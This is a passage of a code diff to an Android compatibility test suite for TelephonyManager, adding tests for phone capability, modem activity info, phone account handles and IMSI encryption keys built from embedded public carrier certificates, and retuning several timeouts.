@@ -16,10 +16,15 @@
 
 package android.telephony.cts;
 
+import static android.app.AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER;
+import static android.telephony.PhoneCapability.DEVICE_NR_CAPABILITY_NSA;
+import static android.telephony.PhoneCapability.DEVICE_NR_CAPABILITY_SA;
+
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -30,6 +35,7 @@
 
 import android.Manifest.permission;
 import android.annotation.NonNull;
+import android.app.AppOpsManager;
 import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.content.BroadcastReceiver;
@@ -63,7 +69,10 @@
 import android.telephony.CellInfo;
 import android.telephony.CellLocation;
 import android.telephony.DataThrottlingRequest;
+import android.telephony.ImsiEncryptionInfo;
+import android.telephony.ModemActivityInfo;
 import android.telephony.NetworkRegistrationInfo;
+import android.telephony.PhoneCapability;
 import android.telephony.PhoneStateListener;
 import android.telephony.PinResult;
 import android.telephony.PreciseCallState;
@@ -80,6 +89,7 @@
 import android.telephony.UiccCardInfo;
 import android.telephony.UiccSlotInfo;
 import android.telephony.data.ApnSetting;
+import android.telephony.data.NetworkSlicingConfig;
 import android.telephony.emergency.EmergencyNumber;
 import android.text.TextUtils;
 import android.util.Log;
@@ -96,8 +106,14 @@
 import org.junit.Ignore;
 import org.junit.Test;
 
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
+import java.security.PublicKey;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collections;
@@ -108,6 +124,7 @@
 import java.util.Map;
 import java.util.Objects;
 import java.util.Set;
+import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 import java.util.concurrent.LinkedBlockingQueue;
@@ -135,6 +152,8 @@
     private boolean mRadioRebootTriggered = false;
     private boolean mHasRadioPowerOff = false;
     private ServiceState mServiceState;
+    private PhoneCapability mPhoneCapability;
+    private boolean mOnPhoneCapabilityChanged = false;
     private final Object mLock = new Object();
 
     private CarrierConfigManager mCarrierConfigManager;
@@ -142,7 +161,7 @@
     private String mSelfCertHash;
 
     private static final int TOLERANCE = 1000;
-    private static final int TIMEOUT_FOR_NETWORK_OPS = TOLERANCE * 10;
+    private static final int TIMEOUT_FOR_NETWORK_OPS = TOLERANCE * 180;
     private PhoneStateListener mListener;
     private static ConnectivityManager mCm;
     private static final String TAG = "TelephonyManagerTest";
@@ -191,6 +210,62 @@
     private static final String TEST_FORWARD_NUMBER = "54321";
     private static final String TESTING_PLMN = "12345";
 
+    private static final String BAD_IMSI_CERT_URL = "https:badurl.badurl:8080";
+    private static final String IMSI_CERT_STRING_EPDG = "-----BEGIN CERTIFICATE-----"
+            + "\nMIIDkzCCAnugAwIBAgIEJ4MVZDANBgkqhkiG9w0BAQsFADB6MQswCQYDVQQGEwJV"
+            + "\nUzEOMAwGA1UECBMFVGV4YXMxDzANBgNVBAcTBklydmluZzEiMCAGA1UEChMZVmVy"
+            + "\naXpvbiBEYXRhIFNlcnZpY2VzIExMQzEMMAoGA1UECxMDTk5PMRgwFgYDVQQDEw9F"
+            + "\nQVAtSURFLlZaVy5DT00wHhcNMTcxMTEzMTkxMTA1WhcNMjcxMTExMTkxMTA1WjB6"
+            + "\nMQswCQYDVQQGEwJVUzEOMAwGA1UECBMFVGV4YXMxDzANBgNVBAcTBklydmluZzEi"
+            + "\nMCAGA1UEChMZVmVyaXpvbiBEYXRhIFNlcnZpY2VzIExMQzEMMAoGA1UECxMDTk5P"
+            + "\nMRgwFgYDVQQDEw9FQVAtSURFLlZaVy5DT00wggEiMA0GCSqGSIb3DQEBAQUAA4IB"
+            + "\nDwAwggEKAoIBAQCrQ28TvN0uUV/vK4YUS7+zcYMKAe5IYtDa3Wa0r64iyBSz6Eau"
+            + "\nT+YHNNzCV4xMqURM5mIY6796LnmWR5jViUgrHyw0d06mLE54uUET/drn2pwhaobK"
+            + "\nNVvbYzpm5W3dvext+klEgIhpRW4fR/uNUmD0O9n/5ofpg++wbvMNWEIjeTVUGPRT"
+            + "\nCeVblH3tK8bKdCKjp48HtuciY7gE8LMoHhMHA1cob9VktSYTy2ABa+rKAPAaqVz4"
+            + "\nL0Arlbi9INHSDNFlLvy1xE5dyYIqhRMicM2i4LCMwJnwf0tz8m7DmDxfdmC4HY2Q"
+            + "\nz4VpbQOu10oRhXXrhZFkZEmqp6RYQmDRDDDtAgMBAAGjITAfMB0GA1UdDgQWBBSg"
+            + "\nFA6liox07smzfITrvjSlgWkMMTANBgkqhkiG9w0BAQsFAAOCAQEAIoFKLgLfS9f1"
+            + "\n0UG85rb+noaeXY0YofSY0dxFIW3rA5zjRD0kus9iyw9CfADDD305hefJ4Kq/NLAF"
+            + "\n0odR4MOTan5KhXTlD9/8mZjSSeEktgCX3BbmMqKoKcaV6Oo9C0RfwGccDms6D+Dw"
+            + "\n3GkgsvKJEB8LjApzQSmDwCV9BVJsC60041cndqBxMr3RMxCkO6/sQRKyAuzx5f91"
+            + "\nWn5cpYxvl4//TatSc9oeU+ootlxfXszdRPM5xqCodm6gWmxRkK6DePlhpaZ1sKdw"
+            + "\nCQg/mA35Eh5ZgOpZT2YG+a8BbDRCF5gj/pu1tPt8VfApPHq6lAoitlrx1cEdJWx6"
+            + "\n5JXaFrs0UA=="
+            + "\n-----END CERTIFICATE-----";
+    private static final String IMSI_CERT_STRING_WLAN = "-----BEGIN CERTIFICATE-----"
+            + "\nMIIFbzCCBFegAwIBAgIUAz8I/cK3fILeJ9PSbi7MkN8yZBkwDQYJKoZIhvcNAQEL"
+            + "\nBQAwgY0xCzAJBgNVBAYTAk5MMRIwEAYDVQQHEwlBbXN0ZXJkYW0xJTAjBgNVBAoT"
+            + "\nHFZlcml6b24gRW50ZXJwcmlzZSBTb2x1dGlvbnMxEzARBgNVBAsTCkN5YmVydHJ1"
+            + "\nc3QxLjAsBgNVBAMTJVZlcml6b24gUHVibGljIFN1cmVTZXJ2ZXIgQ0EgRzE0LVNI"
+            + "\nQTIwHhcNMTcxMTE2MTU1NjMzWhcNMTkxMTE2MTU1NjMzWjB6MQswCQYDVQQGEwJV"
+            + "\nUzEOMAwGA1UECBMFVGV4YXMxDzANBgNVBAcTBklydmluZzEiMCAGA1UEChMZVmVy"
+            + "\naXpvbiBEYXRhIFNlcnZpY2VzIExMQzEMMAoGA1UECxMDTk5PMRgwFgYDVQQDEw9F"
+            + "\nQVAtSURFLlZaVy5DT00wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr"
+            + "\nQ28TvN0uUV/vK4YUS7+zcYMKAe5IYtDa3Wa0r64iyBSz6EauT+YHNNzCV4xMqURM"
+            + "\n5mIY6796LnmWR5jViUgrHyw0d06mLE54uUET/drn2pwhaobKNVvbYzpm5W3dvext"
+            + "\n+klEgIhpRW4fR/uNUmD0O9n/5ofpg++wbvMNWEIjeTVUGPRTCeVblH3tK8bKdCKj"
+            + "\np48HtuciY7gE8LMoHhMHA1cob9VktSYTy2ABa+rKAPAaqVz4L0Arlbi9INHSDNFl"
+            + "\nLvy1xE5dyYIqhRMicM2i4LCMwJnwf0tz8m7DmDxfdmC4HY2Qz4VpbQOu10oRhXXr"
+            + "\nhZFkZEmqp6RYQmDRDDDtAgMBAAGjggHXMIIB0zAMBgNVHRMBAf8EAjAAMEwGA1Ud"
+            + "\nIARFMEMwQQYJKwYBBAGxPgEyMDQwMgYIKwYBBQUHAgEWJmh0dHBzOi8vc2VjdXJl"
+            + "\nLm9tbmlyb290LmNvbS9yZXBvc2l0b3J5MIGpBggrBgEFBQcBAQSBnDCBmTAtBggr"
+            + "\nBgEFBQcwAYYhaHR0cDovL3Zwc3NnMTQyLm9jc3Aub21uaXJvb3QuY29tMDMGCCsG"
+            + "\nAQUFBzAChidodHRwOi8vY2FjZXJ0Lm9tbmlyb290LmNvbS92cHNzZzE0Mi5jcnQw"
+            + "\nMwYIKwYBBQUHMAKGJ2h0dHA6Ly9jYWNlcnQub21uaXJvb3QuY29tL3Zwc3NnMTQy"
+            + "\nLmRlcjAaBgNVHREEEzARgg9FQVAtSURFLlZaVy5DT00wDgYDVR0PAQH/BAQDAgWg"
+            + "\nMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTkLbuR"
+            + "\nAWUmH7R6P6MVJaTOjEQzOzA+BgNVHR8ENzA1MDOgMaAvhi1odHRwOi8vdnBzc2cx"
+            + "\nNDIuY3JsLm9tbmlyb290LmNvbS92cHNzZzE0Mi5jcmwwHQYDVR0OBBYEFKAUDqWK"
+            + "\njHTuybN8hOu+NKWBaQwxMA0GCSqGSIb3DQEBCwUAA4IBAQAbSrvVrdxRPLnVu6vc"
+            + "\n4BiFT2gWDhZ63EyV4f877sC1iMJRFlfwWQQfHVyhGTFa8JnhbEhhTxCP+L00Q8rX"
+            + "\nKbOw9ei5g2yp7OjStwhHz5T20UejjKkl7hKtMduZXxFToqhVwIpqG58Tzl/35FX4"
+            + "\nu+YDPgwTX5gbpbJxpbncn9voxWGWu3AbHVvzaskfBgZfWAuJnbgq0WTEt7bGOfiI"
+            + "\nelIIQe7XL6beFcdAM9C7DlgOLqpR/31LncrMC46cPA5HmfV4mnpeK/9uq0mMbUJK"
+            + "\nx2vNRWONSm2UGwdb00tLsTloxeqCOMpbkBiqi/RhOlIKIOWMPojukA5+xryh2FVs"
+            + "\n7bdw"
+            + "\n-----END CERTIFICATE-----";
+
     private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
     private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5);
     private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
@@ -295,6 +370,7 @@
     }
 
     private void saveAllowedNetworkTypesForAllReasons() {
+        if (!hasCellular()) return;
         mIsAllowedNetworkTypeChanged = false;
         if (mAllowedNetworkTypesList == null) {
             mAllowedNetworkTypesList = new HashMap<>();
@@ -465,6 +541,7 @@
         }
     }
 
+    @Test
     public void testListen() throws Throwable {
         if (!InstrumentationRegistry.getContext().getPackageManager()
                 .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -593,6 +670,9 @@
                 (tm) -> tm.getSubscriberId());
         mTelephonyManager.getLine1Number();
         mTelephonyManager.getNetworkOperator();
+        ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.getPhoneAccountHandle(),
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
         mTelephonyManager.getSimCountryIso();
         mTelephonyManager.getVoiceMailAlphaTag();
         mTelephonyManager.isNetworkRoaming();
@@ -657,6 +737,20 @@
         mTelephonyManager.getDefaultRespondViaMessageApplication();
         ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                 TelephonyManager::getAndUpdateDefaultRespondViaMessageApplication);
+
+        // Verify getImei/getSubscriberId/getIccAuthentication:
+        // With app ops permision USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, should not throw
+        // SecurityException.
+        try {
+            setAppOpsPermissionAllowed(true, OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER);
+
+            mTelephonyManager.getImei();
+            mTelephonyManager.getSubscriberId();
+            mTelephonyManager.getIccAuthentication(
+                    TelephonyManager.APPTYPE_USIM, TelephonyManager.AUTHTYPE_EAP_AKA, "");
+        } finally {
+            setAppOpsPermissionAllowed(false, OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER);
+        }
     }
 
     @Test
@@ -891,6 +985,18 @@
         assertNull(mTelephonyManager.createForPhoneAccountHandle(handle));
     }
 
+    @Test
+    public void testGetPhoneAccountHandle() {
+        TelecomManager telecomManager = getContext().getSystemService(TelecomManager.class);
+        PhoneAccountHandle defaultAccount = telecomManager
+                .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
+        PhoneAccountHandle phoneAccountHandle = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager,
+                (tm) -> tm.getPhoneAccountHandle(),
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        assertEquals(phoneAccountHandle, defaultAccount);
+    }
+
     /**
      * Tests that the phone count returned is valid.
      */
@@ -1275,6 +1381,66 @@
     }
 
     @Test
+    public void testGetServiceStateForInactiveSub() {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        int[] allSubs = mSubscriptionManager.getActiveSubscriptionIdList();
+        // generate a subscription that is valid (>0) but inactive (not part of active subId list)
+        // A simple way to do this is sum the active subIds and add 1
+        int inactiveValidSub = 1;
+        for (int sub : allSubs) {
+            inactiveValidSub += sub;
+        }
+
+        assertNull(mTelephonyManager.createForSubscriptionId(inactiveValidSub).getServiceState());
+    }
+
+    private MockPhoneCapabilityListener mMockPhoneCapabilityListener;
+
+    private class MockPhoneCapabilityListener extends TelephonyCallback
+            implements TelephonyCallback.PhoneCapabilityListener {
+        @Override
+        public void onPhoneCapabilityChanged(PhoneCapability capability) {
+            synchronized (mLock) {
+                mPhoneCapability = capability;
+                mOnPhoneCapabilityChanged = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testGetPhoneCapabilityAndVerify() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG,"skipping test that requires Telephony");
+            return;
+        }
+        boolean is5gStandalone = getContext().getResources().getBoolean(
+                com.android.internal.R.bool.config_telephony5gStandalone);
+        boolean is5gNonStandalone = getContext().getResources().getBoolean(
+                com.android.internal.R.bool.config_telephony5gNonStandalone);
+        int[] deviceNrCapabilities = new int[0];
+        if (is5gStandalone || is5gNonStandalone) {
+            List<Integer> list = new ArrayList<>();
+            if (is5gNonStandalone) {
+                list.add(DEVICE_NR_CAPABILITY_NSA);
+            }
+            if (is5gStandalone) {
+                list.add(DEVICE_NR_CAPABILITY_SA);
+            }
+            deviceNrCapabilities = list.stream().mapToInt(Integer::valueOf).toArray();
+        }
+
+        PhoneCapability phoneCapability = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.getPhoneCapability());
+
+        assertArrayEquals(deviceNrCapabilities, phoneCapability.getDeviceNrCapabilities());
+    }
+
+    @Test
     public void testGetSimLocale() throws InterruptedException {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             Log.d(TAG,"skipping test that requires Telephony");
@@ -1420,8 +1586,6 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
-        assertEquals(mTelephonyManager.getServiceState().getState(), ServiceState.STATE_IN_SERVICE);
-
         TestThread t = new TestThread(new Runnable() {
             public void run() {
                 Looper.prepare();
@@ -1899,6 +2063,7 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
+        if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_GSM) return;
 
         try {
             ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
@@ -1922,6 +2087,7 @@
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
         }
+        if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_GSM) return;
 
         try {
             ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
@@ -2234,13 +2400,6 @@
             assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
 
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    tm -> tm.setCallComposerStatus(
-                            TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
-            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                    tm -> tm.getCallComposerStatus());
-            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES);
-
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                     tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
             status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                     tm -> tm.getCallComposerStatus());
@@ -2257,13 +2416,6 @@
             status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                     tm -> tm.getCallComposerStatus());
             assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
-
-            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    tm -> tm.setCallComposerStatus(
-                            TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
-            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                    tm -> tm.getCallComposerStatus());
-            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
         }
     }
 
@@ -2664,17 +2816,71 @@
             // expected
         }
         // test with permission
+        PublicKey epdgKey = null;
+        PublicKey wlanKey = null;
         try {
-            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                    (tm) -> tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_EPDG));
+            PersistableBundle carrierConfig = mCarrierConfigManager.getConfigForSubId(mTestSub);
+
+            assertNotNull("CarrierConfigManager#getConfigForSubId() returned null",
+                    carrierConfig);
+            assertFalse("CarrierConfigManager#getConfigForSubId() returned empty bundle",
+                    carrierConfig.isEmpty());
+
+            // purge the certs in carrierConfigs first
+            carrierConfig.putInt(
+                    CarrierConfigManager.IMSI_KEY_AVAILABILITY_INT, 3);
+            carrierConfig.putString(
+                    CarrierConfigManager.IMSI_KEY_DOWNLOAD_URL_STRING, BAD_IMSI_CERT_URL);
+            carrierConfig.putString(
+                    CarrierConfigManager.IMSI_CARRIER_PUBLIC_KEY_EPDG_STRING,
+                    IMSI_CERT_STRING_EPDG);
+            carrierConfig.putString(
+                    CarrierConfigManager.IMSI_CARRIER_PUBLIC_KEY_WLAN_STRING,
+                    IMSI_CERT_STRING_WLAN);
+            overrideCarrierConfig(carrierConfig);
+        } catch (Exception e) {
+            fail("Could not override carrier config. e=" + e.toString());
+        }
+
+        try {
+            // It appears that the two certs actually have the same public key. Ideally we would
+            // want these to be different for testing, but it's challenging to create a valid
+            // certificate string for testing and these are the only two examples available
+            InputStream inStream = new ByteArrayInputStream(IMSI_CERT_STRING_WLAN.getBytes());
+            CertificateFactory cf = CertificateFactory.getInstance("X.509");
+            X509Certificate cert = (X509Certificate) cf.generateCertificate(inStream);
+            wlanKey = cert.getPublicKey();
+
+            inStream = new ByteArrayInputStream(IMSI_CERT_STRING_EPDG.getBytes());
+            cert = (X509Certificate) cf.generateCertificate(inStream);
+            epdgKey = cert.getPublicKey();
+        } catch (CertificateException e) {
+            fail("Could not create certs. e=" + e.toString());
+        }
+
+        try {
+            ImsiEncryptionInfo info = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager,
+                    (tm) -> {
+                        return tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_EPDG);
+                    });
+            assertNotNull("Encryption info returned null", info);
+            assertEquals(epdgKey, info.getPublicKey());
+            assertEquals(TelephonyManager.KEY_TYPE_EPDG, info.getKeyType());
         } catch (SecurityException se) {
             fail("testGetCarrierInfoForImsiEncryption: SecurityException not expected");
         } catch (IllegalArgumentException iae) {
             // IllegalArgumentException is okay, just not SecurityException
         }
         try {
-            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
-                    (tm) -> tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_WLAN));
+            ImsiEncryptionInfo info = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager,
+                    (tm) -> {
+                        return tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_WLAN);
+                    });
+            assertNotNull("Encryption info returned null", info);
+            assertEquals(wlanKey, info.getPublicKey());
+            assertEquals(TelephonyManager.KEY_TYPE_WLAN, info.getKeyType());
         } catch (SecurityException se) {
             fail("testGetCarrierInfoForImsiEncryption: SecurityException not expected");
         } catch (IllegalArgumentException iae) {
@@ -2949,6 +3155,40 @@
     }
 
     @Test
+    public void testRequestModemActivityInfo() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
+        try {
+            // Get one instance of activity info and make sure it's valid
+            CompletableFuture<ModemActivityInfo> future1 = new CompletableFuture<>();
+            mTelephonyManager.requestModemActivityInfo(getContext().getMainExecutor(),
+                    future1::complete);
+            ModemActivityInfo activityInfo1 = future1.get(TOLERANCE, TimeUnit.MILLISECONDS);
+            assertNotNull(activityInfo1);
+            assertTrue("first activity info is" + activityInfo1, activityInfo1.isValid());
+
+            // Wait a bit, then get another instance to make sure that some info has accumulated
+            CompletableFuture<ModemActivityInfo> future2 = new CompletableFuture<>();
+            mTelephonyManager.requestModemActivityInfo(getContext().getMainExecutor(),
+                    future2::complete);
+            ModemActivityInfo activityInfo2 = future2.get(TOLERANCE, TimeUnit.MILLISECONDS);
+            assertNotNull(activityInfo2);
+            assertTrue("second activity info is" + activityInfo2, activityInfo2.isValid());
+
+            ModemActivityInfo diff = activityInfo1.getDelta(activityInfo2);
+            assertNotNull(diff);
+            assertTrue("diff is" + diff, diff.isValid() || diff.isEmpty());
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
     public void testGetSupportedModemCount() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
@@ -3058,70 +3298,6 @@
     }
 
     @Test
-    public void testDataDuringVoiceCallPolicy() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        ShellIdentityUtils.ShellPermissionMethodHelper<Boolean, TelephonyManager> getPolicyHelper =
-                (tm) -> tm.isMobileDataPolicyEnabled(
-                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL);
-
-        boolean allowDataDuringVoiceCall = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, getPolicyHelper);
-
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
-                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
-                        !allowDataDuringVoiceCall));
-
-        assertNotEquals(allowDataDuringVoiceCall,
-                ShellIdentityUtils.invokeMethodWithShellPermissions(
-                        mTelephonyManager, getPolicyHelper));
-
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
-                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
-                        allowDataDuringVoiceCall));
-
-        assertEquals(allowDataDuringVoiceCall,
-                ShellIdentityUtils.invokeMethodWithShellPermissions(
-                        mTelephonyManager, getPolicyHelper));
-    }
-
-    @Test
-    public void testAlwaysAllowMmsDataPolicy() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        ShellIdentityUtils.ShellPermissionMethodHelper<Boolean, TelephonyManager> getPolicyHelper =
-                (tm) -> tm.isMobileDataPolicyEnabled(
-                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED);
-
-        boolean mmsAlwaysAllowed = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                mTelephonyManager, getPolicyHelper);
-
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
-                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
-                        !mmsAlwaysAllowed));
-
-        assertNotEquals(mmsAlwaysAllowed,
-                ShellIdentityUtils.invokeMethodWithShellPermissions(
-                        mTelephonyManager, getPolicyHelper));
-
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
-                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabledStatus(
-                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
-                        mmsAlwaysAllowed));
-
-        assertEquals(mmsAlwaysAllowed,
-                ShellIdentityUtils.invokeMethodWithShellPermissions(
-                        mTelephonyManager, getPolicyHelper));
-    }
-
-    @Test
     public void testThermalDataEnable() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
@@ -3202,7 +3378,7 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
                         false));
 
-        waitForMs(100);
+        waitForMs(500);
         boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_CARRIER));
@@ -3217,7 +3393,7 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
                         true));
 
-        waitForMs(100);
+        waitForMs(500);
         isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_CARRIER));
@@ -3238,6 +3414,7 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_USER,
                         false));
 
+        waitForMs(500);
         boolean isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_USER));
@@ -3252,6 +3429,7 @@
                 (tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_USER,
                         true));
 
+        waitForMs(500);
         isDataEnabledForReason = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isDataEnabledForReason(
                         TelephonyManager.DATA_ENABLED_REASON_USER));
@@ -3262,6 +3440,70 @@
     }
 
     @Test
+    public void testDataDuringVoiceCallPolicy() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ShellIdentityUtils.ShellPermissionMethodHelper<Boolean, TelephonyManager> getPolicyHelper =
+                (tm) -> tm.isMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL);
+
+        boolean allowDataDuringVoiceCall = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, getPolicyHelper);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
+                        !allowDataDuringVoiceCall));
+
+        assertNotEquals(allowDataDuringVoiceCall,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_DATA_ON_NON_DEFAULT_DURING_VOICE_CALL,
+                        allowDataDuringVoiceCall));
+
+        assertEquals(allowDataDuringVoiceCall,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+    }
+
+    @Test
+    public void testAlwaysAllowMmsDataPolicy() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ShellIdentityUtils.ShellPermissionMethodHelper<Boolean, TelephonyManager> getPolicyHelper =
+                (tm) -> tm.isMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED);
+
+        boolean mmsAlwaysAllowed = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, getPolicyHelper);
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
+                        !mmsAlwaysAllowed));
+
+        assertNotEquals(mmsAlwaysAllowed,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager, (tm) -> tm.setMobileDataPolicyEnabled(
+                        TelephonyManager.MOBILE_DATA_POLICY_MMS_ALWAYS_ALLOWED,
+                        mmsAlwaysAllowed));
+
